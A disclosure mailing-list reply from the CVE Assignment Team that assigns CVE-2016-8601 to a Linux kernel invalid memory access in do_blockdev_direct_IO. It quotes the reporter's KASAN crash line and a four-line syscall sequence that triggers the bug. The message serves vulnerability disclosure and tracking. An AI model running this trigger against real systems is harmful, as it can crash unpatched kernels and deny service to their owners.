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Message-Id: <20161011162708.0C94F3AE011@smtpvbsrv1.mitre.org>
Date: Tue, 11 Oct 2016 12:27:08 -0400 (EDT)
From: cve-assign@...re.org
To: marco.gra@...il.com
Cc: cve-assign@...re.org, oss-security@...ts.openwall.com
Subject: Re: linux kernel do_blockdev_direct_IO invalid memory access

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

> BUG: KASAN: wild-memory-access on address 0005080000000000
> https://gist.github.com/marcograss/40850adb3c599ac38e0beac31617d56b
> 
>   int fd = open("./hurrdurr", O_APPEND|O_RDWR|0x40);
>   fcntl(fd, 4, 0x44000, 0, 0, 0);
>   fallocate(fd, 0, 0x21, 0xafa6);
>   sendfile(fd, fd, &offset, 0x800);

Use CVE-2016-8601.

- -- 
CVE Assignment Team
M/S M300, 202 Burlington Road, Bedford, MA 01730 USA
[ A PGP key is available for encrypted communications at
  http://cve.mitre.org/cve/request_id.html ]
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